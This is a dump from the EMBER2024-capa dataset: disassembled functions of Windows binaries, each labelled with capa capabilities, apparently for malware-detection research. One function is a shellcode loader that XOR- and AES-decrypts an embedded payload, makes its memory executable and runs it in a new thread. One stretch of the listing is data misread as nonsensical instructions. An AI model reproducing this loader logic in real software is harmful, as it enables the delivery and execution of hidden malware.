joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004907
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.1400123e0
mov r15, qword [0x14002048c]
cmp r15, 1
jne 0x1400049d6
push qword [0x14002057c]
pop rcx
call fcn.14000d5b4
mov r15, rax
and r15, r15
jle 0x14000496c
mov rcx, qword [0x14002057c]
call fcn.14000d5bc
mov rcx, qword [0x14002057c]
call fcn.14000d5d0
or rax, rax
je 0x14000496c
mov rbp, qword [0x140020584]
push qword [rbp + 0x10]
pop rcx
call fcn.14000da6c
jmp 0x140004949
push qword [0x14002056c]
pop rcx
call fcn.14000d5b4
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x1400049d6
push 5
push 0
push 1
push qword [0x14002056c]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009070
mov rcx, qword [0x14002056c]
call fcn.14000d5bc
mov rcx, qword [0x14002056c]
call fcn.14000d5d0
or rax, rax
je 0x1400049d6
mov rbp, qword [0x140020574]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x1400049b3
mov rax, 1
jmp 0x1400049e2
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006a58
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f190]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
and dword [rax], esp
mov edi, 0x432216ff
call [rcx]
sbb eax, 0x2010ff1b
sbb edi, edi
adc edx, dword [rdi]
and al, 0xff
sub bl, byte [rax]
sbb edi, edi
xor eax, 0x15ff181b
sbb dl, byte [rax]
call qword [rdi]
sub bl, byte [rdx]
cli
movlps qword [rcx], xmm2
movabs al, byte [0x430000005f000000]
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
add byte [rdx], dl
add byte [rax], al
add byte [rdi], al
sbb al, 0x33
adc edi, edi
and ch, byte [0x15227f57a]
sbb al, 0xff
sbb bl, byte [rcx]
sub edi, edi
adc dword [rax + rbx], ebx
jmp qword [rdx]
sbb bl, byte [rdx]
sub bh, bh
invalid
adc ecx, dword [rdi]
invalid
adc esp, dword [rcx]
invalid
sbb al, 0xff
sbb eax, 0x22ff1d14
adc dword [rdi + rdi*8], ebx
sub byte [rsi + rbx], bl
jmp qword [rdx]
invalid
Function at 0x140008010
Capabilities:
Get thread local storage value

Disassembly:
mov r10, rcx
test rcx, rcx
je 0x140008041
or rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140008020
mov ecx, 1
mov r9d, r8d
sub ecx, edx
add eax, ecx
mov rcx, r10
mov r8d, eax
jmp 0x140008050
mov ecx, r8d
jmp fcn.140012810
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
xor r15d, r15d
mov ebp, r8d
test r8d, r8d
mov edi, r9d
mov esi, edx
mov rbx, rcx
cmovs ebp, r15d
call fcn.140012630
mov edx, edi
mov ecx, ebp
mov r14d, eax
call fcn.1400126d0
mov rdi, rax
test r14d, r14d
je 0x1400080a1
mov ecx, r14d
call fcn.140012850
mov rbx, rax
test rbx, rbx
je 0x1400080e7
cmp esi, 1
jle 0x1400080c1
nop dword [rax + rax]
cmp word [rbx], r15w
je 0x1400080e7
dec esi
add rbx, 2
cmp esi, 1
jg 0x1400080b0
movzx eax, word [rbx]
test ax, ax
je 0x1400080e7
sub rbx, rdi
nop dword [rax]
test ebp, ebp
je 0x1400080e7
mov word [rdi], ax
movzx eax, word [rbx + rdi + 2]
add rdi, 2
dec ebp
test ax, ax
jne 0x1400080d0
mov ecx, ebp
call fcn.140012900
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov word [rdi], r15w
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x140008110
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov esi, reloc.winhttp.dll_WinHttpOpenRequest
mov ecx, esi
call fcn.1400126d0
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call fcn.14001671c
or rdx, 0xffffffffffffffff
inc rdx
cmp word [rdi + rdx*2], 0
jne 0x140008140
sub esi, edx
mov ecx, esi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.140012900
Function at 0x33e1515df
Capabilities:
Create thread

Disassembly:
push rbp
mov eax, 0x16290
call fcn.33e152580
sub rsp, rax
lea rbp, [rsp + 0x80]
mov r9d, 0
lea r8, str.LoxoSec
lea rax, str.git5
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
movabs rax, 0x769de1328f0b004e
movabs rdx, 0x4d17f9abc063285f
mov qword [rbp + 0x161e0], rax
mov qword [rbp + 0x161e8], rdx
lea rax, [rbp - 0x40]
lea rdx, [0x33e159140]
mov ecx, 0x16220
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x1620c], 0x16220
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x16220
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x16200], rax
cmp qword [rbp + 0x16200], 0
jne 0x33e1516b5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x33e151809
lea rcx, [rbp + 0x161e0]
mov edx, dword [rbp + 0x1620c]
lea rax, [rbp - 0x40]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.XOREncrypt_char__unsigned_long__char__unsigned_long_
lea rcx, [rbp + 0x161e0]
mov edx, dword [rbp + 0x1620c]
lea rax, [rbp - 0x40]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call sym.DecryptAES_char__unsigned_long__char__unsigned_long_
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x16200]
mov r8d, 0x16220
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x16200]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x16220
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x33e151764
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_change_memory_protection___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffe
jmp 0x33e151809
mov rax, qword [rbp + 0x16200]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x161f8], rax
cmp qword [rbp + 0x161f8], 0
jne 0x33e1517ca
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_Create_the_thread___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0xfffffffd
jmp 0x33e151809
mov rax, qword [rbp + 0x16200]
mov rdx, rax
lea rax, str._n_nalloc_mem_:__p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x161f8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x16200]
call rax
mov eax, 0
add rsp, 0x16290
pop rbp
ret

Function at 0x33e1519c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x33e151a30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x33e172064]
mov rbx, rcx
test esi, esi
jle 0x33e151b60
mov rax, qword [0x33e172068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x33e151a7b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x33e151b05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x33e151a60
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x33e151b82
mov rax, qword [0x33e172068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x33e172068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x33e151b67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x33e151afe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x33e151b10
add dword [0x33e172064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x33e172068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x33e151afe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x33e151a88
mov rax, qword [0x33e172068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x33e151f00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x33e1720a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x33e172080]
test rbx, rbx
je 0x33e151f5c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x33e151f53
test rsi, rsi
je 0x33e151f53
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x33e151f38
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x33e152170
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x33e152188
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x33e152190
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x33e1521a0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x33e1521ed
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x33e1521e4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x33e1521ef
add rax, 0x28
cmp rax, r9
jne 0x33e1521d0
xor eax, eax
ret

Function at 0x33e1521f0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x33e152280
mov rdx, qword [0x33e16f8f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x33e15226e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x33e15226e
cmp word [rax + 0x18], 0x20b
jne 0x33e15226e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x33e152280
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x33e152259
add rbx, 0x28
cmp rbx, rdi
je 0x33e152280
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x33e152250
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x33e152290
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x33e16f8f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x33e1522b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x33e1522b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x33e1522b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x33e15230d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x33e152304
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x33e1522b0
add rax, 0x28
cmp rax, r9
jne 0x33e1522f0
xor eax, eax
ret

Function at 0x33e152310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x33e16f8f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x33e15232f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x33e152338
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x33e15232f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x33e152350
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x33e16f8f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x33e152370
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x33e152378
ret
cmp word [rdx + 0x18], 0x20b
jne 0x33e152370
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x33e1523c0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x33e1523b7
test rcx, rcx
je 0x33e152370
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x33e1523a8
xor eax, eax
ret
Function at 0x33e1523d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x33e16f8f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x33e1523ef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x33e1523f8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x33e152410
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x33e16f8f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x33e152430
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x33e152438
ret
cmp word [r8 + 0x18], 0x20b
jne 0x33e152430
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x33e152430
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x33e152484
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x33e152490
add rdx, 0x28
cmp r9, rdx
jne 0x33e152470
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x33e1524a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x33e16f8f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x33e1524c2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x33e1524d0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x33e1524c2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x33e1524c2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x33e1524c2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x33e152525
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x33e152538
add rdx, 0x28
cmp rdx, r10
jne 0x33e152510
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x33e152547
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x33e152557
mov edx, dword [rax + 0xc]
test edx, edx
je 0x33e15252e
test ecx, ecx
jg 0x33e152540
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000a345
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x6b8
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
mov r13, r8
shr r13, 0x20
mov ebp, dword [rdx + 0x290]
cmp ebp, 0x3b9aca00
jne 0x14000a3e6
lea r14, [rsp + 0x30]
and qword [r14], 0
xor ebp, ebp
lea r15, [rsp + 0x50]
lea r12, [rsp + 0x258]
xor ecx, ecx
xor eax, eax
test cl, 1
jne 0x14000a49f
mov word [rsp + 0x258], ax
mov dword [rsp + 0x25a], ebx
mov word [rsp + 0x25e], r13w
mov rcx, r15
xor edx, edx
mov r8, r12
call fcn.14014d6f0
cmp qword [rsp + 0x50], 0
je 0x14000a4b6
mov rbp, qword [rsp + 0x58]
mov rcx, r14
call fcn.140002232
mov qword [rsp + 0x30], rbp
mov ax, 2
mov cl, 1
jmp 0x14000a392
mov eax, ebx
shr eax, 0x10
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov word [rsp + 0x34], r13w
mov r15, qword [rdi + 0x288]
mov rax, qword [0x140216120]
cmp rax, 3
jne 0x14000a64e
lea rbx, [rsp + 0x258]
mov rcx, rbx
xor edx, edx
call fcn.140147f70
cmp qword [rbx], 0
mov rbx, qword [rbx + 8]
jne case.0x1400059cb.41
lea r8, [rsp + 0x258]
mov dword [r8], 1
mov rcx, rbx
mov edx, 0x8004667e
call sub.ws2_32.dll_ioctlsocket
cmp eax, 0xffffffff
je 0x14000a5c0
movzx eax, word [rsp + 0x34]
mov ecx, dword [rsp + 0x30]
rol ax, 8
lea rdx, [rsp + 0x258]
mov word [rdx], 2
mov word [rdx + 2], ax
mov dword [rdx + 4], ecx
xorps xmm0, xmm0
movups xmmword [rdx + 8], xmm0
mov rcx, rbx
mov r8d, 0x10
call sub.ws2_32.dll_connect
cmp eax, 0xffffffff
je 0x14000a5d5
xor r14d, r14d
jmp 0x14000a5e5
test rbp, rbp
lea rdx, str.could_not_resolve_to_any_addresses
cmovne rdx, rbp
lea rcx, [rsi + 8]
jmp case.0x1400059cb.42
mov rbx, qword [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140002232
call sub.ws2_32.dll_WSAGetLastError
mov r15d, eax
shl r15, 0x20
or r15, 2
jmp 0x14000a811
add byte [rax], al
call fcn.140147dd0
jmp 0x14000a413
Function at 0x14000cda3
Capabilities:
Delete file
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x578
movaps xmmword [rsp + 0x560], xmm6
mov qword [rsp + 0xf8], r9
mov qword [rsp + 0xf0], r8
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0xe8], rcx
lea rax, [rsp + 0x80]
mov qword [rax], 2
xorps xmm0, xmm0
movups xmmword [rax + 8], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x30], rax
xor esi, esi
mov r15d, 0xffffffff
xor edi, edi
xor r14d, r14d
cmp r8, 0x201
jae 0x14000ce2a
mov r12d, 0x200
lea r13, [rsp + 0x140]
mov rbp, r8
jmp 0x14000ce7d
sub r8, r14
sub rdi, r14
cmp rdi, r8
jae 0x14000ce5a
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.140127320
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov rsi, qword [rsp + 0x88]
cmp rsi, r15
mov r14d, 0xffffffff
cmovb r14, rsi
mov qword [rsp + 0x90], r14
mov rdi, rsi
mov r12, r14
mov r13, qword [rsp + 0x30]
mov rbp, r14
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [0x14016b110]
mov ecx, ebp
mov rdx, r13
call rax
mov ebx, eax
test eax, eax
jne 0x14000cea1
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x14000cf0a
mov r8d, ebx
cmp rbp, r8
jne 0x14000cec9
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x14000dc92
add rbp, rbp
cmp rbp, r15
cmovae rbp, r15
mov r8, rbp
jmp 0x14000ce0e
jb 0x14000ce0e
cmp r12, r8
jb 0x14000ddc1
lea rcx, [rsp + 0x40]
mov rdx, r13
call fcn.1401286e0
mov r15, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xd8], rax
mov bl, byte [rsp + 0x58]
jmp 0x14000cf1c
call sub.KERNEL32.dll_GetLastError
mov r15d, eax
shl r15, 0x20
or r15, 2
mov bl, 2
test rsi, rsi
je 0x14000cf30
mov edx, 2
mov rcx, qword [rsp + 0x30]
call fcn.1400169d0
cmp bl, 2
je 0x14000dcd1
lea rbx, [rsp + 0x140]
lea r12, [rsp + 0x40]
xorps xmm6, xmm6
lea r13, [rsp + 0x80]
lea r14, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789path_at_path
xor ebp, ebp
mov qword [rsp + 0x100], r15
lea rcx, str.internal_error:_entered_unreachable_codefailed_to_write_the_buffered_data
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.140055d40
jmp 0x14000ddd6
lea r8, [rsp + 0x140]
mov qword [r8], r15
lea rax, str.library_std_src_syswindowsos.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140143c00
mov edx, 0x2b
call fcn.140056e50
jmp 0x14000ddd6
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r12
mov r8, rax
call fcn.1400559b0
ud2
Function at 0x140059f60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140059ff0
cmp r11, r10
ja 0x14005a066
cmp r10, rdx
ja 0x14005a07a
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x140059ff2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140059fd0
jmp 0x14005a054
ja 0x140059ffa
mov r11, r10
cmp rax, r8
jne 0x140059f94
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x14005a030
mov rdi, r8
sub ecx, edx
jns 0x14005a04b
jmp 0x14005a056
cmp r8, rsi
je 0x14005a08b
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x14005a056
xor al, 1
cmp rdi, rsi
jne 0x14005a010
jmp 0x14005a056
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140056770
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1400559b0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_home_laa_.cargo_registry_src_index.crates.io_6f17d22bba15001f_winapi_util_0.1.5_src_win.rs
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140055d40
ud2

Function at 0x14006b548
Capabilities:
Encode data using base64
Hash data using sha512

Disassembly:
mov rcx, qword [rcx]
add qword [rcx + 0x40], r8
adc qword [rcx + 0x48], 0
jmp 0x1400fcd69
Function at 0x14006c56b
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov ecx, dword [0x14016b058]
test ecx, ecx
je 0x14006c584
dec ecx
add rsp, 0x28
jmp fcn.140161594
lea rcx, [0x14016b040]
call fcn.140124d30
mov ecx, eax
jmp 0x14006c57b

Function at 0x14006c594
Capabilities:
Set thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rdx
mov rax, rcx
mov ecx, dword [rcx + 0x18]
test ecx, ecx
je 0x14006c5b5
dec ecx
mov rdx, rsi
add rsp, 0x20
pop rsi
jmp fcn.14016158c
mov rcx, rax
call fcn.140124d30
mov ecx, eax
jmp 0x14006c5a8

Function at 0x1400703ef
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov ecx, dword [0x14016b078]
test ecx, ecx
je 0x140070408
dec ecx
add rsp, 0x28
jmp fcn.140161594
lea rcx, [0x14016b060]
call fcn.140124d30
mov ecx, eax
jmp 0x1400703ff
Function at 0x14008c9c2
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov ecx, dword [0x14016b0a8]
test ecx, ecx
je 0x14008c9db
dec ecx
add rsp, 0x28
jmp fcn.140161594
lea rcx, [0x14016b090]
call fcn.140124d30
mov ecx, eax
jmp 0x14008c9d2
Function at 0x14008d582
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xa0
mov rsi, rdx
mov rdi, rcx
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movaps xmmword [rcx + 0x10], xmm0
movaps xmmword [rcx], xmm0
mov edx, 0x20
call fcn.14008f8d8
test rax, rax
je 0x14008d5bf
mov edx, 4
mov rcx, rax
call fcn.1400169d0
jmp 0x14008d5f8
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
lea rdx, [rsp + 0x40]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rbx, [rsp + 0x70]
